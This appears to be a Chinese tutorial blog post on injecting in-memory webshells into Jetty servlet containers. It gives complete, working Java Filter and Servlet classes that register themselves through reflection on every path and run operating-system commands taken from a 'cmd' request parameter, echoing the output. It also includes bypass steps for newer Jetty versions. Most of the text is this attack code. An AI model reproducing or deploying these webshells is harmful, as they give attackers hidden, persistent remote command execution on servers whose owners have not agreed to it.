从0到1学会Jetty内存马注入
字数 1411 2025-08-24 16:48:16
Jetty内存马注入技术详解
一、Jetty基础介绍
Jetty是一个开源的Servlet容器,为基于Java的Web应用(如JSP和Servlet)提供运行环境。与Tomcat不同,Jetty是一个轻量级的Web容器,其API以一组JAR包形式发布。
二、环境搭建
1. 项目创建
使用Maven Archetype创建Webapp模板项目,pom.xml配置如下:
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JettyMemshell</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<properties>
<jetty.version>9.4.44.v20210927</jetty.version>
</properties>
<dependencies>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>${jetty.version}</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-servlet</artifactId>
<version>${jetty.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-maven-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<httpConnector>
<port>8080</port>
</httpConnector>
</configuration>
</plugin>
</plugins>
</build>
</project>
2. 测试Servlet
public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
res.setContentType("text/html");
res.setStatus(HttpServletResponse.SC_OK);
res.getWriter().println("<h1>Hello World</h1>");
}
}
3. web.xml配置
<web-app>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.fanxing.servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
三、Filter内存马实现
1. 核心原理分析
Jetty中Filter的调用流程:
ServletHandler包含一个FilterChainFilterChain信息通过_filterPathMappings获取_filterPathMappings是ArrayList类型,包含FilterMapping对象- 每个
FilterMapping包含_filtername、_holder和_pathSpecs三个关键变量
2. 关键步骤
- 获取ServletHandler
public static void getHandler() throws Exception {
Object thread = Thread.currentThread();
Object contextClassLoader = getFieldValue(thread, "contextClassLoader");
Object context = getFieldValue(contextClassLoader, "_context");
servletHandler = getFieldValue(context, "_servletHandler");
}
- 创建FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter", Filter.class);
setFilter.invoke(filterHolder, filter);
Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(filterHolder, filterName);
- 创建FilterMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName", String.class);
setFilterName.invoke(filterMapping, filterName);
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(filterMapping, pathSpecs);
- 添加到_filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
3. 完整Filter内存马代码
public class BehinderFilter extends AbstractTranslet implements Filter {
public static Object servletHandler = null;
private static String filterName = "BehinderFilter";
private static String url = "/*";
// 辅助方法省略...
static {
try {
// 获取ServletHandler
getHandler();
// 获取FilterHolder
Filter filter = new BehinderFilter();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();
Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,filter);
Method setName = filterHolder.getClass().getSuperclass()
.getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);
// 高版本绕过代码段
Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
Method setServletHandler = getMethod(filterHolder,"setServletHandler",
servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);
// 拼凑filtermapping
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();
Method setFilterName = filterMapping.getClass()
.getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);
Method setFilterHolder = filterMapping.getClass()
.getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);
String pathSpecs = url;
Method setPathSpec = filterMapping.getClass()
.getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);
// 加入filterPathMappings
ArrayList _filterPathMapings = (ArrayList) getFieldValue(servletHandler,"_filterPathMappings");
_filterPathMapings.add(filterMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if(cmd != null){
Runtime.getRuntime().exec(cmd);
// 回显处理
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
StringBuilder stringBuilder = new StringBuilder();
while ((line = reader.readLine()) != null){
stringBuilder.append(line + "\n");
}
ServletOutputStream servletOutputStream = response.getOutputStream();
servletOutputStream.write(stringBuilder.toString().getBytes());
servletOutputStream.flush();
servletOutputStream.close();
}
chain.doFilter(request, response);
}
// 其他必要方法...
}
四、Servlet内存马实现
1. 核心原理分析
ServletHandler中的_servlets和_servletMappings变量可用于实现Servlet内存马addServlet方法用于向_servlets添加ServletHolderServletMapping对象存放Servlet的作用路径和名称
2. 关键步骤
- 获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass().getDeclaredMethod("setName", String.class);
setName.invoke(servletHolder, ServletName);
- 添加到_servlets
Method addServlet = servletHandler.getClass().getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
- 创建ServletMapping
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object servletMapping = constructor.newInstance();
Method setFilterName = servletMapping.getClass().getDeclaredMethod("setServletName", String.class);
setFilterName.invoke(servletMapping, ServletName);
String pathSpecs = url;
Method setPathSpec = servletMapping.getClass().getDeclaredMethod("setPathSpec", String.class);
setPathSpec.invoke(servletMapping, pathSpecs);
- 添加到_servletMappings
Method addServletMapping = servletHandler.getClass()
.getDeclaredMethod("addServletMapping", servletMapping.getClass());
addServletMapping.setAccessible(true);
addServletMapping.invoke(servletHandler, servletMapping);
3. 完整Servlet内存马代码
public class BehinderServlet extends HttpServlet {
public static Object servletHandler = null;
private static String ServletName = "BehinderServlet";
private static String url = "/*";
// 辅助方法省略...
static {
try {
// 获取ServletHandler
getHandler();
// 获取ServletHolder
Servlet servlet = new BehinderServlet();
Constructor constructor2 = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.ServletHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object servletHolder = constructor2.newInstance();
Method setFilter = servletHolder.getClass().getDeclaredMethod("setServlet", Servlet.class);
setFilter.invoke(servletHolder, servlet);
Method setName = servletHolder.getClass().getSuperclass()
.getDeclaredMethod("setName",String.class);
setName.invoke(servletHolder, ServletName);
// 装载_servlet
Method addServlet = servletHandler.getClass()
.getDeclaredMethod("addServlet", servletHolder.getClass());
addServlet.setAccessible(true);
addServlet.invoke(servletHandler, servletHolder);
// 初始化mapping
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.ServletMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object servletMapping = constructor.newInstance();
Method setFilterName = servletMapping.getClass()
.getDeclaredMethod("setServletName",String.class);
setFilterName.invoke(servletMapping, ServletName);
String pathSpecs = url;
Method setPathSpec = servletMapping.getClass()
.getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(servletMapping, pathSpecs);
// 加入_servletMappings
Method addServletMapping = servletHandler.getClass()
.getDeclaredMethod("addServletMapping", servletMapping.getClass());
addServletMapping.setAccessible(true);
addServletMapping.invoke(servletHandler, servletMapping);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws ServletException, IOException {
resp.getWriter().write("FanXing");
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
五、高版本绕过技术
在Jetty 9.4.44.v20210927等高版本中,直接使用setFilter方法无法正常设置_filter变量,需要额外处理:
- 生命周期状态设置
Method setStarted = getMethod(filterHolder,"setStarted", null);
setStarted.invoke(filterHolder);
- 设置ServletHandler
Method setServletHandler = getMethod(filterHolder,"setServletHandler", servletHandler.getClass());
setServletHandler.invoke(filterHolder, servletHandler);
- 调用initialize方法
Method initialize = filterHolder.getClass().getDeclaredMethod("initialize", null);
initialize.setAccessible(true);
initialize.invoke(filterHolder);
六、关键问题与解决方案
- 类加载器命名空间问题
高版本中可能出现FilterMapping cannot be cast to FilterMapping错误,原因是不同类加载器加载了相同的类。解决方案是统一使用应用类加载器加载相关类:
Constructor constructor = servletHandler.getClass().getClassLoader()
.loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
- FilterHolder初始化问题
不能直接使用new FilterHolder()方式创建实例,必须通过反射使用应用类加载器加载的类来创建实例。
- 高版本兼容性问题
在Jetty 9.0.7.v20131107版本中可以直接使用,但在高版本中需要额外处理生命周期状态和初始化流程。
七、总结
Jetty内存马注入技术要点:
- 通过线程上下文获取ServletHandler
- 使用反射创建并配置FilterHolder/ServletHolder
- 创建并配置FilterMapping/ServletMapping
- 将映射添加到对应的集合中
- 处理高版本兼容性问题
- 注意类加载器命名空间问题
相比Tomcat内存马,Jetty内存马实现更依赖于反射,且需要考虑版本兼容性问题。掌握这些技术要点后,可以灵活应对不同版本的Jetty环境。